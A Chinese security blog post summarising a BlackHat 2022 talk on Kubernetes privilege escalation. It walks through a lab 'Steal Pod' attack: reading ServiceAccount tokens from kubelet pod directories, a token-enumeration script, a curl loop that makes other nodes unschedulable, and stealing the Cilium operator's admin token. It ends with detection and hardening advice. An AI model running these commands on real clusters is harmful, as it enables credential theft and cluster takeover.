一、背景介绍
1. 背景和环境
在进行针对云环境的渗透时,从外部突破,获取第一个容器(pod)权限的手段通常与普通渗透手段类似。而在通过诸如内核漏洞、配置错误等手段容器逃逸,拿下了k8s集群中某一个主机(Node)后,渗透大佬们最关心的当然是如何扩大影响,获取其他Node的权限,甚至最终拿下整个集群。
本文通过学习BlackHat 2022的“Kubernetes Privilege Escalation: Container Escape == Cluster Admin?”,将会从了解k8s开始,介绍如何利用K8s及相关组件本身行进横向移动,寻找提权成为集群最高管理员的一种思路,同样也会提供对应的安全配置和权限检查的一部分建议。
2. 基础知识
k8s的组成
k8s集群由许多Node组成,管理大量容器化的服务,并且拥有庞大且快速增长的生态,其服务、支持和工具的使用范围相当广泛。通常每个Node即为一个实机,其中又包含至少一个Pod。Pod即具体向外提供服务的容器,是k8s中的最小单位,由Container Runtime指定,网络上常选择使用docker。一个namespace可以在逻辑上包含多个不在同一node的pod,方便管理相关的操作。且k8s可以扩展众多插件,方便管理者设置、调试和监控。一个简单的k8s结构如下图:
|
其中Master节点只是为了表示这是一个只由管理员控制的,管理其他Node的机器,实际上它就是一个不运行Pod的管理员节点。k8s具体是通过使用RESTful api管理集群,通过web请求对集群进行操作。
另外,为了便于管理或监控集群的状态,这些集群环境通常还会安装容器网络接口( Container Network Interfaces,CNIs)如:Cilium、Antrea、Calico、WeaveNet等。这些CNI提供的operator pod与daemon pod虽然简化了操作,增强了服务的稳定性,提高了一部分安全能力,却也反而将成为攻击者提权的好工具,正是这些pod的权限过高导致攻击者将轻松获取集群管理员。
Operator pods
Kubernetes Operator 是一种特定于应用的控制器,可扩展 Kubernetes API 的功能,代表 k8s用户创建、配置和管理复杂应用的实例,现有的一部分主流CNI中op pod具有很高的权限。以Cilium的Operator为例,它主要负责管理集群中的任务,尽可能地保证以集群为单位,而不是单独以节点为单位进行任务处理。主要包括通过etcd为节点之间同步资源信息、确保Pod的DNS可以被Cilium管理、集群NetworkPolicy的管理和更新等。
DaemonSet与Daemon pod
DaemonSet负责确保全部(或者某些)节点上运行一个 Pod 的副本,运行 Pod 的节点则由 Kubernetes 调度器选择。当有节点加入集群时,也会为他们新增一个 Pod 。当有节点从集群移除时,这些 Pod 也会对应的被回收。而删除 DaemonSet 将会删除它创建的所有 Pod。
为了保证实现pod自动的创建和移除,CNI创建的Daemon pod至少也需要具备get/create/delete pod的权限,这也是攻击者能够利用的好武器。
k8s API操作的认证过程
在k8s中,当我们试图通过API与集群资源交互时(如使用kubectl执行命令时),必定经过集群资源管理对象入口kube-apiserver。显然不是随随便便来一个请求它都欢迎的,每个请求都需要经过合规检查,包括身份验证(Authentication,AuthN)、授权(Authorization,AuthZ)和准入控制(Admission Control),通过这一系列验证后才能完成交互,确实获得命令的结果。
|
1.AuthN(authentication):
所有 k8s 集群都有两类用户:由 k8s 管理的服务账号(ServiceAccount,SA)和普通用户账号(User)。k8s 认为能够提供合法凭证的用户才是通过AuthN的用户,凭证通常为客户端证书、持有者令牌(Bearer Token)或身份认证代理(Proxy) 之一。
SA是 k8s API 所管理的用户。它们都会被绑定到特定的namespace, 或者由 API 服务器自动创建,或者通过 API 调用创建。SA与一组以 Secret 保存的Token凭据关联,这些凭据默认会被挂载到Pod中,授权容器内的进程访问 Kubernetes API。
API 请求或者与某User相关联,或者与某ServiceAccount相关联, 亦或者被视作匿名请求。集群内外的每个进程在向 API 服务器发起请求时都必须通过身份认证,否则会被视作匿名用户。这里的进程可以是在某工作站上输入 kubectl 命令的操作人员,也可以是节点上的 kubelet 组件,还可以是控制面板的成员。
2.AuthZ(authorization):
鉴别身份的第二阶段中,k8s使用RBAC(Role-Based Access Control)即基于角色的访问控制进行AuthZ。这种访问控制方法在各类大型系统如虚拟化Vcenter、各类云服务以及众多toB软件访问控制中被大量使用。K8S的RBAC 主要由Role、ClusterRole、RoleBinding 和 ClusterRoleBinding 等资源实现。模型如下:
|
无论是用户手动编写还是kubectl命令行生成,RBAC权限描述都表现为一个yaml文件。下面是一个位于 "default" 名字空间的 Role 的示例,可用来授予对 Pod 的读访问权限:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: [""] # "" 标明 core API 组
resources: ["pods"] # 指定可操作的资源
verbs: ["get", "watch", "list"] # 指定可执行的操作
*左右滑动查看更多
其中resources即role可操作的对象,verbs即允许对resources进行的操作,在命令行中一般直接以kubectl [verb] [resource]使用。二者是此次k8s提权的关注重点,可能导致安全风险的权限包括:
3.准入控制:
准入控制模块是可以修改或拒绝请求的软件模块。除AuthZ阶段中指定可用的属性外,准入控制模块还可以访问正在创建或修改的对象的内容。
3. 实验环境
EKS < 1.18
k8s v1.21.5-eks-9017834
二、Steal Pod攻击
这里选择了议题中笔者个人认为最有趣的攻击进行实验,简单来说攻击者可以从当前节点获取CNI中daemon pod的ServiceAccount token,滥用其权限。根据CNI的行为,如果能够将所有节点状态修改为不可用,那么新operator pod将不得不调度在攻击者的节点上生成(因此称之为Steal Pod),攻击者就可以继续滥用operator pod权限,进而成为集群管理员。
1.目标
在得到k8s中其中一个node的权限之后,攻击者最想做的应该就是如何获取集群的admin权限,进而控制整个集群了。鉴别当前是不是具备在任意命名空间执行任意操作权限的命令如下:
kubectl auth can-i "*" "*" -A
通常情况下普通节点甚至不应有执行kubectl的权限,输出例如:
# kubectl --server master:6443 auth can-i "*" "*" -A
Error from server (BadRequest): the server rejected our request for an unknown reason (post selfsubjectaccessreviews.authorization.k8s.io)
*左右滑动查看更多
攻击的最终目的则正是在当前节点(node1)获取admin权限,输出:
"*" "*" -A kubectl auth can-i
yes
这样能够在任意节点创建任意pod,任意service暴露任意端口,就能够获取任意主机的root权限了。
2.实验
为了保证集群提供的服务持续可用,k8s中的pod所在de节点关机/不可用时,daemonset会将pod自动迁移到其他正常的节点中继续运行。
|
如果我们可以更新其余所有节点的状态,即具备update nodes权限,修改节点为不可用状态,此时目标节点中的pod将会迁移到我们的节点中来。通过利用该pod中的ServiceAccount token,我们就可以获得相同的权限。为了保证pod会立即进行迁移,最好还具备delete pod的权限,直接删除,强迫迁移立刻开始。
为了实现以上Steal Pod的过程,需要依次回答几个问题:
1.如何获取ServiceAccount token?
2.什么pod中存在具备update nodes权限的ServiceAccount?
3.什么pod中存在具备delete pod权限的ServiceAccount?
4.如何修改节点的可用性?
如何获取ServiceAccount token
就像前面背景中提到的,默认情况下ServiceAccount会在创建pod时被API服务器创建,对应的token也会自动挂载到pod中,方便pod使用API与集群联系。当攻击者获得了一个节点的root权限,实际上运行在本机上的所有pod使用的SA token都将完全暴露。只需要在/var/lib/kubelet/pods/中就能获取所有挂载的token,例如:
root@node1:/# # 搜索所有token
root@node1:/# find /var/lib/kubelet/pods/ -name token
/var/lib/kubelet/pods/a462d648-ca7c-4549-984e-1af384f58bc7/volumes/kubernetes.io~secret/hubble-relay-token-jn95w/token
/var/lib/kubelet/pods/a462d648-ca7c-4549-984e-1af384f58bc7/volumes/kubernetes.io~secret/hubble-relay-token-jn95w/..2023_01_24_02_17_44.079666238/token
/var/lib/kubelet/pods/81a59485-de89-40f4-a77a-8e04b926b621/volumes/kubernetes.io~secret/cilium-operator-token-9pqbd/token
/var/lib/kubelet/pods/81a59485-de89-40f4-a77a-8e04b926b621/volumes/kubernetes.io~secret/cilium-operator-token-9pqbd/..2023_01_24_02_13_46.855516921/token
/var/lib/kubelet/pods/c6932fc8-376d-4406-9705-35abb0532a5a/volumes/kubernetes.io~secret/coredns-token-96shc/token
/var/lib/kubelet/pods/c6932fc8-376d-4406-9705-35abb0532a5a/volumes/kubernetes.io~secret/coredns-token-96shc/..2023_01_24_02_17_46.846303625/token
/var/lib/kubelet/pods/e376ebd3-07ef-47e9-8249-585c201e9d4a/volumes/kubernetes.io~secret/default-token-hfqf2/token
/var/lib/kubelet/pods/e376ebd3-07ef-47e9-8249-585c201e9d4a/volumes/kubernetes.io~secret/default-token-hfqf2/..2023_01_24_02_13_46.758639108/token
/var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/token
/var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/..2023_01_24_02_13_47.382727485/token
/var/lib/kubelet/pods/66528b6a-a20b-4938-91b9-a0b82b4e28c6/volumes/kubernetes.io~secret/hubble-ui-token-knntp/token
/var/lib/kubelet/pods/66528b6a-a20b-4938-91b9-a0b82b4e28c6/volumes/kubernetes.io~secret/hubble-ui-token-knntp/..2023_01_24_02_17_46.447715410/token
root@node1:/# # 查看指定token
root@node1:/# cat /var/lib/kubelet/pods/657c919b-3e2a-4578-b9b2-9e00627bd328/volumes/kubernetes.io~secret/cilium-token-z9s2w/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw
*左右滑动查看更多
从这样jwt格式的token中,我们也能得到ServiceAccount的名字为"sub": "system:serviceaccount:kube-system:cilium"等信息。
kubectl使用指定token就可以获取权限进行操作:
root@node1:/# # 设置别名以指定ServiceAccount权限查询
root@node1:/# alias kctl = "kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw --server https://master:6443 --insecure-skip-tls-verify"
root@node1:/# kctl get po -A
*左右滑动查看更多
这样操作我们就能够以某ServiceAccount的权限执行kubectl中的某些命令了,而实验开始时我们则完全没有kubectl的使用权限。
如何检测ServiceAccount具备的权限
获取一个具有update nodes权限的ServiceAccount token,修改其他节点的可用性。
结合auth can-i命令和获取到的token,可以轻松查询角色是否具备想要的权限,也可以完全列出其具备的权限。其中第一个参数包括get、list、create、update、patch、watch、 proxy、redirect、delete 和 deletecollection,具体为:
https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authorization/#determine-the-request-verb/verbs
*左右滑动查看更多
第二个参数为“类型|资源/resources”,包括pod,node,deployment,serviceaccount等。
root@node1:/# # 手动查询具备的权限。当前使用了 cilium的daemon pod,具备update nodes/status的权限。
root@node1:/# kctl auth can-i "update" "node" -A
yes
root@node1:/# kctl auth can-i "update" "nodes/status" -A
yes
*左右滑动查看更多
使用脚本遍历token与权限:
# 列出在所有命名空间中此token的权限
JwtDecode() {
jwt=$(echo $1 | cut -d '.' -f 2)
echo $jwt| base64 -d
}
pathlist=($(find /var/lib/kubelet/pods -name token))
token=()
for path in ${pathlist[@]}
do
token[${#token[@]}]=$(cat $path)
done
token=($(awk -v RS=' ' '!a[$1]++' <<< ${token[@]}))
echo "[!] Found ${#token[@]} token(s)"
subject=()
namespace=()
for t in ${token[@]}
do
subject[${#subject[@]}]=$(JwtDecode $t|awk -F"," '{print($NF)}')
namespace[${#namespace[@]}]=$(JwtDecode $t|grep -Eo 'namespace":"([^"]*?)",'|cut -d '"' -f 3)
done
for idx in "${!token[@]}";
do
echo -e "${subject[$idx]} n${token[$idx]} n" >> listpriv.txt
$(kubectl --token=${token[$idx]} --server https://master:6443 --insecure-skip-tls-verify auth can-i --list --namespace=${namespace[$idx]} >> listpriv.txt)
done
echo "[>] Save as listpriv.txt"
*左右滑动查看更多
在实验环境中,此时攻击者将使用具有update node权限的ServiceAccount token进行操作。
root@node1:/# alias kctl="kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tdG9rZW4tejlzMnciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiOTY1YzU0ZTQtYTYwYS00NGIyLTllOTEtY2RlMDdiMDNlMzgzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bSJ9.zlMpU8diDEv0TI6R5KYvcGm513V4WiPwrkD_Y4G48ImdeNe3T9cyNJiJx1y5MlA8XedN8wgKJEqRm6vjDDrUoa1DLivb6U2c4rDqpxJHTuT7Sm_IQqIj65LUOMHOcq8LKtrwy8LLotf8IhYBqiIc1uRQYUjbF_fvbVGPefvyXrbtaSizlUDbT1-QjeP21xHnfMIgm9N-9YPuBgSVAEPSneZ1yeWOnrLfshV4pS54XfJ6vgwmZHuGaEVDa1HXG1ssoqfgQFcIS4PkiO-zCLhcazgGwOrUdWXtaVX70R3u5pUSqFfkb5cX_hiU4nWx0Ct8LiJD_87RrcWKd_zQC8iSKw --server https://master:6443 --insecure-skip-tls-verify"
root@node1:/# kctl auth can-i "update" "node" -A
yes
*左右滑动查看更多
如何修改节点的可用性
具备足够的权限之后,就可以利用api强行更新节点的状态,使其不可用了。首先使用kctl proxy > /dev/null &开启外部对k8s dashboard的访问。随后无限发送修改节点状态的请求,强行覆盖正常状态。
patch_node() {
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: application/json-patch+json" -d '[{"op": "replace", "path": "/status/allocatable/pods", "value": "0"}]' > /dev/null
}
while true; do patch_node master; done &
*左右滑动查看更多
或者taint节点。
删除pod完成攻击
最后,使用同样有delete pod权限的ServiceAccount,删除位于其他节点的operator pod,把它“偷”过来获取SA token,再在当前节点新建的挂载目录中寻找高权限token即可。
kctl get po -n kube-system -o wide|grep oper
kctl delete po cilium-operator-6d665dd4dc-w8b8s -n kube-system
*左右滑动查看更多
此时基本已经可以进行任意操作,获取了相当于admin的权限。
root@node1:/# alias admctl="kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IjREcjZselczazV2ZUNxRmpmN1lZbkYwQUpubEVvQm5qMkwybmJVVGMyVDgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjaWxpdW0tb3BlcmF0b3ItdG9rZW4tOXBxYmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiY2lsaXVtLW9wZXJhdG9yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiMmJhMDM0ZWMtNDQ5NC00YjU3LTgxMTUtZmYwODVhZDU4MDg0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmNpbGl1bS1vcGVyYXRvciJ9.dOpD4ASwlTJI8RwKFB-hUq0R82AKTu1yegJS2c5fKLO2CDQn7rsEAQuJdnMLJExKw7V4bkGhNxyxWzPwXiSqMhQH8LqFy8aaCtDsuxtFwupY6_PYXXt7BKWIdeTGVgAJ0JKZenykuoBb8ZIWjOMfxrzvjkXHs80bedKBoFqRP9_pCt7ns33Mu2t0uCZLXPh75OZPJ9lN0VumxtzPNFeBn6XDa0_4_GnMyIEc-L8p6g2beRtof0i4hScxow6Zp3GGjWPWF2nzFbqIgVzC51e5ae3LXwkajETyVg4US6CAIs4RM86PsZGzvddZJvcFjv6aHWuN3_YSQAKvmbVDkudq_Q --server https://master:6443 --insecure-skip-tls-verify"
root@node1:/# admctl auth can-i "*" "*" -A
yes
*左右滑动查看更多
接下来就可以轻松的在集群中任意移动了,根据亲和度或容忍度等属性创建任意容器并分配给任意节点,执行任意命令/读取和修改任意角色的配置,绑定ClusterRole到指定用户都OK。无论是直接创建pod挂载宿主机目录还是其他手段都可以获取任意node的权限了。
实验流程如下:
|
除了Steal Pod式的攻击、ServiceAccount权限还有更多利用方式,主要都依靠滥用手中CNI的高权限token实现。
|
与cilium类似的CNI还有很多种,例子中cilium存在像cillium-operator与cilium daemon pod这样权限巨大的pod,其他CNI中也有许多类似的operator pod。甚至一些环境配置失误的话,pod本身也会存在类似的危险权限。
如何高效寻找/判断高威胁pod
作者开发了一套工具检测高权限token,可以列出危险的pod利用路径。即方便运维人员定位隐患,优化策略,又方便攻击者快速找出利用路径,拿下目标。类似的还有checkov,支持检查RBAC配置,检查隐患。
https://github.com/PaloAltoNetworks/rbac-police
https://github.com/bridgecrewio/checkov
*左右滑动查看更多
实验环境使用rbac-police检查立刻就能得到攻击路径,所在的命名空间,危险的ServiceAccount以及需要利用的pod:
{
"policy": "lib/steal_pods.rego",
"severity": "High",
"description": "Identities that can delete or evict pods in privileged namespaces (kube-system) and also make other nodes unschedulable can steal powerful pods from other nodes onto a compromised one",
"violations": {
"serviceAccounts": [
{
"name": "cilium",
"namespace": "kube-system",
"nodes": [
{
"master": [
"cilium-ljpkr"
]
},
{
"node1": [
"cilium-p25vz"
]
}
]
}
],
"combined": [
{
"node": "master",
"serviceAccounts": [
"kube-system:cilium",
"kube-system:cilium-operator"
]
},
{
"node": "node1",
"serviceAccounts": [
"kube-system:cilium",
"kube-system:cilium-operator"
]
}
]
}
}
*左右滑动查看更多
三、排查、检测和修复的建议
1、遵循最小特权原则:只分配明确要求的权限。
1)在可能的情况下,使用RoleBindings来授予特定命名空间的权限,不要在集群级别的命名空间绑定角色。
2)使用resourceNames将权限范围缩小到特定的资源。
2、严格控制危险权限的赋予,确保它们不被授予不应信任的或公开暴露的pod。如果你正在维护一个Kubernetes项目,最好了解下平台使用了何种权限。
3、避免使用权限过大的DaemonSets。
1)将需要危险权限的功能从所有节点上运行的DaemonSets转移到在少数节点上,或者放到control plane controller中运行。
2)依靠Kubelet凭证进行只涉及绑定到本地节点的对象的操作。
3)通过使用CRDs和ConfigMaps最小化写入权限,而不是简单的赋予在核心对象(如pod)中的操作权限。
4、使用调度约束,如Taints和Tolerations、NodeAffinity规则或PodAntiAfinity规则,将拥有更高权限的pods与不信任的或公开暴露的pods隔离。
5、配置policy controllers,以便在类似ServiceAccount和节点通过SelfSubjectReviews APIs查询他们自身的权限时发出警报。这些请求一般正是由凭证泄漏引起的。
6、使用一些policy controllers防止滥用危险权限进行操作。例如OPA Gatekeeper和Kynvero可以阻止可疑的kubernetes API调用或者至少对操作发出警告。
注:本文中部分插图源于网络
往期回顾
原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| k8s权限滥用介绍及检测修复
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论